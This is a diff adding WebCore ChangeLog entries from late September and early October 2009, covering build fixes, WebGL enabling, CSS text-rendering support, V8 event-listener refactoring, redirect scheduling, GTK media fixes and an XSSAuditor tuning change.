+
+        Gets rid of warnings on gcc about using anonymous namespaces 
+          warning: 'StringKeyHashTraits' has a base
+          'WTF::GenericHashTraits<<unnamed>::StringKey>' 
+          whose type uses the anonymous namespace
+        and
+          warning: 'WTF::PairHashTraits<StringKeyHashTraits,
+          WTF::HashTraits<PrivateIdentifier*> >' has a base
+          'WTF::GenericHashTraits<std::pair<<unnamed>::StringKey,
+          PrivateIdentifier*> >' whose type uses the anonymous namespace
+
+        No tests required.
+
+        * bindings/v8/npruntime.cpp:
+
+2009-10-01  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Tiger build.  Don't unconditionally enable 3D canvas as it is not supported on Tiger.
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2009-10-01  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Turn on ENABLE_3D_CANVAS in TOT
+        https://bugs.webkit.org/show_bug.cgi?id=29906
+
+        Fixed a bug found when running tests with flag on
+
+        * Configurations/FeatureDefines.xcconfig:
+        * WebCore.base.exp:
+        * bindings/js/JSCanvasArrayBufferConstructor.h:
+        (WebCore::construct):
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
+        * html/canvas/CanvasArray.cpp:
+        (WebCore::CanvasArray::CanvasArray):
+        * html/canvas/CanvasByteArray.cpp:
+        (WebCore::CanvasByteArray::create):
+        * html/canvas/CanvasFloatArray.cpp:
+        (WebCore::CanvasFloatArray::create):
+        * html/canvas/CanvasIntArray.cpp:
+        (WebCore::CanvasIntArray::create):
+        * html/canvas/CanvasShortArray.cpp:
+        (WebCore::CanvasShortArray::create):
+        * html/canvas/CanvasUnsignedByteArray.cpp:
+        (WebCore::CanvasUnsignedByteArray::create):
+        * html/canvas/CanvasUnsignedIntArray.cpp:
+        (WebCore::CanvasUnsignedIntArray::create):
+        * html/canvas/CanvasUnsignedShortArray.cpp:
+        (WebCore::CanvasUnsignedShortArray::create):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setWebGLEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::webGLEnabled):
+
+2009-10-01  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for <rdar://problem/7264725> Re-add a vendor prefix to box-
+        shadow (29927)
+        -and corresponding-
+        https://bugs.webkit.org/show_bug.cgi?id=29927
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        (WebCore::ShadowParseContext::ShadowParseContext):
+        (WebCore::ShadowParseContext::commitValue):
+        (WebCore::ShadowParseContext::commitLength):
+        (WebCore::ShadowParseContext::commitColor):
+        (WebCore::cssPropertyID):
+        * css/CSSPropertyNames.in:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        * page/animation/AnimationBase.cpp:
+        (WebCore::ensurePropertyMap):
+
+2009-10-01  Beth Dakin  <bdakin@apple.com>
+
+        Rubber-stamped by Sam Weinig.
+
+        At bad merge at some point in the development of my patch must have 
+        put TextRenderMode.h in a weird spot in the xcodeproj. Moving it 
+        back where it belongs!
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-09-30  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Remove FrameLoader::schedule* APIs
+        https://bugs.webkit.org/show_bug.cgi?id=29950
+
+        Change clients of FrameLoader::schedule* to call redirectScheduler
+        directly.
+
+        No behavior change.
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::setLocation):
+        (WebCore::createWindow):
+        (WebCore::JSDOMWindow::open):
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::JSDocument::setLocation):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::navigateIfAllowed):
+        (WebCore::JSLocation::reload):
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::navigateIfAllowed):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::createWindow):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * dom/Document.cpp:
+        (WebCore::Document::implicitClose):
+        (WebCore::Document::processHttpEquiv):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::write):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::requestFrame):
+        (WebCore::FrameLoader::submitForm):
+        (WebCore::FrameLoader::receivedFirstData):
+        * loader/FrameLoader.h:
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::selectCache):
+        * page/History.cpp:
+        (WebCore::History::back):
+        (WebCore::History::forward):
+        (WebCore::History::go):
+
+2009-10-01  Beth Dakin  <bdakin@apple.com>
+
+        Just removing a comment I accidentally committed earlier. 
+
+        * platform/graphics/mac/SimpleFontDataMac.mm:
+        (WebCore::SimpleFontData::getCFStringAttributes):
+
+2009-09-30  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Clean up use of const and mutable in StorageMap
+        https://bugs.webkit.org/show_bug.cgi?id=29933
+
+        What's the point of having every single member variable be mutable and nearly
+        every method be const?  Let's clean it up.
+
+        * storage/StorageMap.cpp:
+        (WebCore::StorageMap::setIteratorToIndex):
+        (WebCore::StorageMap::key):
+        (WebCore::StorageMap::importItem):
+        * storage/StorageMap.h:
+
+2009-10-01  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Fix for <rdar://problem/6934421> Support CSS for Text Kerning and 
+        ligature
+        -and corresponding-
+        https://bugs.webkit.org/show_bug.cgi?id=6136
+
+        This patch makes the SVG CSS property text-rendering work with any 
+        HTML, much like it does in Firefox. It accepts four possible input 
+        values: auto, optimizeSpeed, optimizeLegibility, and 
+        geometricPrecision. Right now, in this implementation, here is what 
+        those values correspond to:
+
+        auto = optimizeSpeed = what we normally when the value's not set
+        optimizeLegibility = geometricPrecision = ligatures kerning
+
+        Add new file TextRenderingMode.h to the project files.
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+
+        CSS support for the new CSSPropertyTextRendering
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator TextRenderingMode):
+        * css/CSSPropertyNames.in:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        * css/CSSValueKeywords.in:
+
+        All the old SVG CSS support for this property can go away. When 
+        it's used in SVG, it will just fall into the normal HTML case.
+        * css/SVGCSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getSVGPropertyCSSValue):
+        * css/SVGCSSParser.cpp:
+        (WebCore::CSSParser::parseSVGValue):
+        * css/SVGCSSPropertyNames.in:
+        * css/SVGCSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applySVGProperty):
+        * css/SVGCSSValueKeywords.in:
+
+        FontDescription stores the m_textRendering bit.
+        * platform/graphics/FontDescription.h:
+        (WebCore::FontDescription::FontDescription):
+        (WebCore::FontDescription::textRenderingMode):
+        (WebCore::FontDescription::setTextRenderingMode):
+        (WebCore::FontDescription::operator==):
+
+        We want to fall into the complex text rendering code path if 
+        kerning and ligatures have been enabled with this property.
+        * platform/graphics/FontFastPath.cpp:
+        (WebCore::Font::canUseGlyphCache):
+
+        Now takes a TextRenderingMode as a parameter.
+        * platform/graphics/SimpleFontData.h:
+
+        New header for the enum.
+        * platform/graphics/TextRenderingMode.h: Added.
+        (WebCore::):
+
+        getCFStringAttributes() now takes a TextRenderingMode as an 
+        attribute.
+        * platform/graphics/mac/CoreTextController.cpp:
+        (WebCore::CoreTextController::collectCoreTextRunsForCharacters):
+
+        Enable kerning and ligatures whenever the TextRenderingMode is 
+        OptimizeLegibility or GeometricPrecision
+        * platform/graphics/mac/FontMacATSUI.mm:
+        (WebCore::disableLigatures):
+        (WebCore::initializeATSUStyle):
+        (WebCore::ATSULayoutParameters::initialize):
+        * platform/graphics/mac/SimpleFontDataMac.mm:
+        (WebCore::SimpleFontData::getCFStringAttributes):
+
+        More SVG CSS stuff that isn't needed anymore since SVG will use the 
+        new HTML CSS implementation.
+        * rendering/style/SVGRenderStyle.h:
+        (WebCore::SVGRenderStyle::InheritedFlags::operator==):
+        (WebCore::SVGRenderStyle::setBitDefaults):
+        * rendering/style/SVGRenderStyleDefs.h:
+
+2009-10-01  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Use isClosure property of scope proxy to decide whether the
+        scope is a closure.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29965
+
+        * inspector/front-end/ScopeChainSidebarPane.js:
+        (WebInspector.ScopeChainSidebarPane.prototype.update):
+
+2009-10-01  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Odd color transitions on anchors with transition-property: all
+        https://bugs.webkit.org/show_bug.cgi?id=29911
+
+        When transitioning maybe-invalid colors, if the source and destination
+        color are both invalid, then don't animate.
+        
+        This fixes an issue where a child element of an element running a color
+        transition, with -webkit-transition-property:all, would show a color change.
+        This happened because the "maybe invalid color" logic copied the color style
+        into -webkit-text-fill-color for both endpoints, causing -webkit-text-fill-color
+        to animate while the transition ran, and to then to disappear when the transition
+        finished.
+        
+        Test: transitions/color-transition-all.html
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::PropertyWrapperMaybeInvalidColor::equals):
+        (WebCore::PropertyWrapperMaybeInvalidColor::blend):
+
+2009-10-01  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        Allow dragging a node who has child nodes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28632
+
+        Test: fast/events/drag-parent-node.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::shouldDragAutoNode):
+
+2009-10-01  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] media player: better mute support
+        https://bugs.webkit.org/show_bug.cgi?id=29960
+
+        Handle volume and mute state with the two corresponding properties
+        of playbin2.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::setMuted):
+        (WebCore::MediaPlayerPrivate::setVolume):
+
+2009-10-01  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] video sink pad template colorspace is wrong
+        https://bugs.webkit.org/show_bug.cgi?id=29953
+
+        Set sink pad template colorspace depending on byte order.
+
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_idle_func):
+
+2009-10-01  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Refactored V8 event listeners:
+        (This change should fix http://crbug.com/21079 and
+        https://bugs.webkit.org/show_bug.cgi?id=29093.)
+         o All listeners use weak handles to JS objects to avoid creating
+           cycles and leaking memory.
+         o "Object" variants of listeners removed.
+         o All event accessor callbacks are generated.
+         o Custom event accessors removed.
+         o All wrappers have hidden dependencies on their listeners to
+           prevent listeners from being collected.
+         o All variats of getEventListener function grouped in V8DOMWrapper.
+         o Pointers to C+EventListener wrappers are stored in JS objects
+           instead of event listener lists.
+        https://bugs.webkit.org/show_bug.cgi?id=29825
+
+        * WebCore.gypi: Removed "Object" listeners.
+        * bindings/scripts/CodeGeneratorV8.pm: Now handles event accessors.
+        * bindings/v8/DOMObjectsInclude.h:
+
+        V8AbstractEventListener manages weak JS handle:
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::weakEventListenerCallback):
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
+        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
+        (WebCore::V8AbstractEventListener::handleEvent):
+        (WebCore::V8AbstractEventListener::disposeListenerObject):
+        (WebCore::V8AbstractEventListener::setListenerObject):
+        * bindings/v8/V8AbstractEventListener.h:
+        (WebCore::V8AbstractEventListener::cast):
+        (WebCore::V8AbstractEventListener::isLazy):
+        (WebCore::V8AbstractEventListener::getListenerObject):
+        (WebCore::V8AbstractEventListener::getExistingListenerObject):
+        (WebCore::V8AbstractEventListener::hasExistingListenerObject):
+        (WebCore::V8AbstractEventListener::disconnectFrame):
+        (WebCore::V8AbstractEventListener::disconnected):
+        (WebCore::V8AbstractEventListener::prepareListenerObject):
+        (WebCore::V8AbstractEventListener::lineNumber):
+        (WebCore::V8AbstractEventListener::virtualisAttribute):
+
+        Grouped getEventListener functions:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::getEventListener):
+        * bindings/v8/V8DOMWrapper.h:
+
+        Removed most event listener objects bookkeeping:
+        * bindings/v8/V8EventListenerList.cpp:
+        * bindings/v8/V8EventListenerList.h:
+        (WebCore::V8EventListenerList::findWrapper):
+        (WebCore::V8EventListenerList::clearWrapper):
+        (WebCore::V8EventListenerList::doFindWrapper):
+        (WebCore::V8EventListenerList::getHiddenProperty):
+        (WebCore::V8EventListenerList::findOrCreateWrapper):
+
+        Added hidden properties for storing EventListener wrappers:
+        * bindings/v8/V8HiddenPropertyName.cpp:
+        (WebCore::V8HiddenPropertyName::listener):
+        (WebCore::V8HiddenPropertyName::attributeListener):
+        * bindings/v8/V8HiddenPropertyName.h:
+
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::V8LazyEventListener):
+        (WebCore::V8LazyEventListener::callListenerFunction):
+        (WebCore::V8LazyEventListener::prepareListenerObject):
+        * bindings/v8/V8LazyEventListener.h:
+        (WebCore::V8LazyEventListener::isLazy):
+        * bindings/v8/V8ObjectEventListener.cpp: Removed.
+        * bindings/v8/V8ObjectEventListener.h: Removed.
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::disconnectFrame):
+        (WebCore::V8Proxy::disconnectEventListeners):
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::reportError):
+        (WebCore::V8WorkerContextEventListener::getReceiverObject):
+        * bindings/v8/V8WorkerContextEventListener.h:
+        * bindings/v8/V8WorkerContextObjectEventListener.cpp: Removed.
+        * bindings/v8/V8WorkerContextObjectEventListener.h: Removed.
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::dispose):
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
+        (WebCore::WorkerContextExecutionProxy::findOrCreateEventListener):
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::V8EventListener):
+        (WebCore::V8EventListener::getListenerFunction):
+        (WebCore::V8EventListener::callListenerFunction):
+        * bindings/v8/custom/V8CustomEventListener.h:
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::getEventListener):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+
+2009-10-01  Alexis Menard  <alexis.menard@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Rename QWebGraphicsItem to QGraphicsWebView
+
+        * WebCore.pro:
+
+2009-10-01  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Read-only transactions do not change file sizes and therefore
+        should not trigger quota updates.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29945
+
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::openTransactionAndPreflight):
+        (WebCore::SQLTransaction::runStatements):
+
+2009-09-30  Timothy Hatcher  <timothy@apple.com>
+
+        Fix list box scrolling by correctly overriding the scroll()
+        function on RenderBox.
+
+        <rdar://problem/7255440> REGRESSION (r48683): Mousewheel scrolling
+        of listboxes is broken (29756)
+
+        Reviewed by Dan Bernstein.
+
+        * rendering/RenderListBox.cpp:
+        (WebCore::RenderListBox::scroll):
+        * rendering/RenderListBox.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::scroll):
+        * rendering/RenderTextControlSingleLine.h:
+
+2009-10-01  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Make a copy of listeners array before dispatching an event in
+        WebInspector.Object.prototype.dispatchEventToListeners. Otherwise if current
+        listener removes itself from the array next listener will be skipped.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29920
+
+        * inspector/front-end/Object.js:
+        (WebInspector.Object.prototype.dispatchEventToListeners): make a copy of listeners array before dispatching an event
+
+2009-10-01  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] GtkIMContext filtering interferes with DOM key events
+        https://bugs.webkit.org/show_bug.cgi?id=28733
+
+        Ensure that keyboard events filtered by the GtkIMContext still create
+        the proper DOM events.
+
+        No tests added. Instead previously skipped tests have been enabled.
+
+        * platform/gtk/KeyEventGtk.cpp:
+        (WebCore::keyIdentifierForGdkKeyCode):
+        (WebCore::singleCharacterString):
+
+2009-10-01  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] data: uri support in media player
+        https://bugs.webkit.org/show_bug.cgi?id=29842
+
+        New GStreamer element to handle data: uris. For now only base64
+        encoded data is supported. Decoded data is handed over to
+        giostreamsrc.
+
+        * GNUmakefile.am:
+        * platform/graphics/gtk/DataSourceGStreamer.cpp: Added.
+        (_do_init):
+        (webkit_data_src_base_init):
+        (webkit_data_src_class_init):
+        (webkit_data_src_reset):
+        (webkit_data_src_init):
+        (webkit_data_src_finalize):
+        (webkit_data_src_uri_get_type):
+        (webkit_data_src_uri_get_protocols):
+        (webkit_data_src_uri_get_uri):
+        (webkit_data_src_uri_set_uri):
+        (webkit_data_src_uri_handler_init):
+        * platform/graphics/gtk/DataSourceGStreamer.h: Added.
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::do_gst_init):
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::mimeTypeCache):
+
+2009-09-30  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29944
+        
+        Reduces false positives in the XSSAuditor by explicitly allowing requests
+        that do not contain illegal URI characters.
+        
+        As a side effect of this change, the tests property-inject.html, 
+        property-escape-noquotes.html, and property-escape-noquotes-tab-slash-chars.html 
+        fail because these attacks do not contain any illegal URI characters and 
+        thus are now allowed by the XSSAuditor, where previously they weren't. A future
+        change may reinstate this functionality.
+
+        Tests: http/tests/security/xssAuditor/script-tag-safe2.html
+               http/tests/security/xssAuditor/script-tag-safe3.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::isIllegalURICharacter): Added method.
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canCreateInlineEventListener):
+        (WebCore::XSSAuditor::findInRequest): Added parameter 
+        allowRequestIfNoIllegalURICharacters.
+        * page/XSSAuditor.h:
+
+2009-09-30  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        reproducible freeze and crash on closing form popup at bosch-home.nl
+        https://bugs.webkit.org/show_bug.cgi?id=28948
+
+        showModalDialog calls getDirect on what is actually a window shell,
+        so ends up not getting a value (since no value can ever be placed
+        directly on the shell), which leads to incorrect behaviour.
+
+        We use a manual test rather than automatic as it was not
+        possible to get a modal run loop to work inside DRT.
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::showModalDialog):
+        * manual-tests/showModalDialog-returnValue.html: manual testcase.
+
+2009-09-30  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Adds ValidityState.tooLong support for <input> and <textarea>.
+
+        Introduces tooLong() in HTMLFormControlElement and it always returns false.
+        HTMLInputElement and HTMLTextAreaElement overrides it and checks the text
+        length and maxLength.  tooLong() should work only for `dirty' values.
+        So, introduces m_isDirty flag for HTMLTextAreaElement, and
+        !m_data.value().isNull() works as a dirty flag for HTMLInputElement.
+
+        Renames parameter names of setMaxLength().
+
+        https://bugs.webkit.org/show_bug.cgi?id=27454
+
+        Tests: fast/forms/ValidityState-tooLong-input.html
+               fast/forms/ValidityState-tooLong-textarea.html
+
+        * html/HTMLFormControlElement.h:
+        (WebCore::HTMLFormControlElement::tooLong):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::tooLong):
+        (WebCore::HTMLInputElement::setMaxLength):
+        * html/HTMLInputElement.h:
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::HTMLTextAreaElement):
+        (WebCore::HTMLTextAreaElement::reset):
+        (WebCore::HTMLTextAreaElement::updateValue):
+        (WebCore::HTMLTextAreaElement::setMaxLength):
+        (WebCore::HTMLTextAreaElement::tooLong):
+        * html/HTMLTextAreaElement.h:
+        * html/ValidityState.h:
+        (WebCore::ValidityState::tooLong):
+
+2009-09-30  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Factor RedirectScheduler out of FrameLoader
+        https://bugs.webkit.org/show_bug.cgi?id=29948
+
+        This change introduces a new sub-object of Frame, redirectScheduler.
+        The redirectScheduler is responsible for scheduling redirects.
+
+        This change leaves the code for the redirectScheduler in
+        FrameLoader.cpp.  A future change will move the class into its own
+        file.
+
+        No behavior change (hopefully!).
+
+        * loader/FrameLoader.cpp:
+        (WebCore::RedirectScheduler::RedirectScheduler):
+        (WebCore::RedirectScheduler::~RedirectScheduler):
+        (WebCore::RedirectScheduler::redirectScheduledDuringLoad):
+        (WebCore::RedirectScheduler::clear):
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::setDefersLoading):
+        (WebCore::FrameLoader::stopLoading):
+        (WebCore::FrameLoader::didOpenURL):
+        (WebCore::FrameLoader::didExplicitOpen):
+        (WebCore::FrameLoader::cancelAndClear):
+        (WebCore::FrameLoader::clear):
+        (WebCore::FrameLoader::checkCompleted):
+        (WebCore::FrameLoader::isScheduledLocationChangePending):
+        (WebCore::FrameLoader::scheduleHTTPRedirection):
+        (WebCore::RedirectScheduler::scheduleRedirect):
+        (WebCore::RedirectScheduler::mustLockBackForwardList):
+        (WebCore::FrameLoader::scheduleLocationChange):
+        (WebCore::RedirectScheduler::scheduleLocationChange):
+        (WebCore::FrameLoader::scheduleFormSubmission):
+        (WebCore::RedirectScheduler::scheduleFormSubmission):
+        (WebCore::FrameLoader::scheduleRefresh):
+        (WebCore::RedirectScheduler::scheduleRefresh):
+        (WebCore::RedirectScheduler::locationChangePending):
+        (WebCore::FrameLoader::scheduleHistoryNavigation):
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
+        (WebCore::RedirectScheduler::timerFired):
+        (WebCore::FrameLoader::provisionalLoadStarted):
+        (WebCore::RedirectScheduler::schedule):
+        (WebCore::RedirectScheduler::startTimer):
+        (WebCore::RedirectScheduler::cancel):
+        (WebCore::FrameLoader::completed):
+        (WebCore::FrameLoader::open):
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::committedFirstRealDocumentLoad):
+        * page/Frame.cpp:
+        (WebCore::Frame::Frame):
+        (WebCore::Frame::redirectScheduler):
+        * page/Frame.h:
+
+2009-09-30  Maciej Stachowiak  <mjs@apple.com>
+
+        Build fix, not reviewed.
+
+        More Windows build fixes for https://bugs.webkit.org/show_bug.cgi?id=29943
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::willSendRequest):
+
+2009-09-30  Maciej Stachowiak  <mjs@apple.com>
+
+        Build fix, not reviewed.
+
+        Fix windows build for fix for https://bugs.webkit.org/show_bug.cgi?id=29943
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::willSendRequest):
+
+2009-09-30  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [V8] HTMLAudioElement, HTMLImageElement, and HTMLOptionElement are constructable, but they shouldn't be.
+        Only Audio, Image, and Option should be constructable.
+        https://bugs.webkit.org/show_bug.cgi?id=29940
+
+        Test: fast/dom/dom-constructor.html
+
+        * WebCore.gypi: Added new files to project.
+        * bindings/scripts/CodeGeneratorV8.pm: Modified to generate custom constructors.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Removed handling of HTMLImageElement, HTMLOptionElement
+          and HTMLAudioElement construction.
+        * bindings/v8/V8HTMLAudioElementConstructor.h: Added.
+        * bindings/v8/V8HTMLImageElementConstructor.h: Added.
+        * bindings/v8/V8HTMLOptionElementConstructor.h: Added.
+        * bindings/v8/V8Index.cpp: Added new headers.
+        * bindings/v8/V8Index.h: Added Audio, Image and Option decls.
+        * bindings/v8/custom/V8CustomBinding.h: Ditto.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_GETTER): Added custom constructors.
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        (WebCore::V8HTMLImageElementConstructor::GetTemplate): Added custom template creator.
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        (WebCore::V8HTMLOptionElementConstructor::GetTemplate): Ditto.
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        (WebCore::V8HTMLImageElementConstructor::GetTemplate): Ditto.
+
+2009-09-30  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        307 redirects should pass along http body and Content-Type header
+        https://bugs.webkit.org/show_bug.cgi?id=29943
+
+        Follow-up fix for:
+        <rdar://problem/3802660> SAP: 307 (Temporary Redirect) responses should use POST, not GET
+        
+        Test: http/tests/loading/resources/redirect-methods-result.php
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::willSendRequest): Pass along http body and Content-Type header.
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]): ditto
+
+2009-09-30  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Fixed https://bugs.webkit.org/show_bug.cgi?id=29941
+        REGRESSION (r48882-r48888): Many memory leaks on SnowLeopard leaks bot
+
+        Forgot to implement a destructor for JSDOMWindowBaseData, so it was
+        leaking its RefPtr data member.
+
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::destroyJSDOMWindowBaseData):
+        * bindings/js/JSDOMWindowBase.h:
+        (WebCore::JSDOMWindowBase::JSDOMWindowBaseData::JSDOMWindowBaseData::JSDOMWindowBaseData):
+
+2009-09-30  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Make sure the removal of user stylesheets results in all of the WebViews being updated to
+        reflect the changes.
+
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::removeUserContentWithURLForWorld):
+        (WebCore::PageGroup::removeUserContentForWorld):
+
+2009-09-30  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        REGRESSION(r47440): drop down menus at americanexpress.com disappear on mouse out
+        https://bugs.webkit.org/show_bug.cgi?id=29209
+
+        Test: fast/inline/relative-positioned-overflow.html
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::computeVerticalOverflow): Add self-painting
+        inlines to overflow to ensure that they are included in hit-testing.
+
+2009-09-30  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        transforms/3d tests are not run in Release builds
+        https://bugs.webkit.org/show_bug.cgi?id=29827
+
+        Make sure we export the WebCoreHas3DRendering symbol in Release builds,
+        because this symbols is used by run-webkit-tests (via 'nm') to detect whether
+        WebCore was built with ENABLE_3D_RENDERING turned on.
+
+        * DerivedSources.make:
+        * WebCore.3DRendering.exp: Added.
+        * WebCore.xcodeproj/project.pbxproj:
+
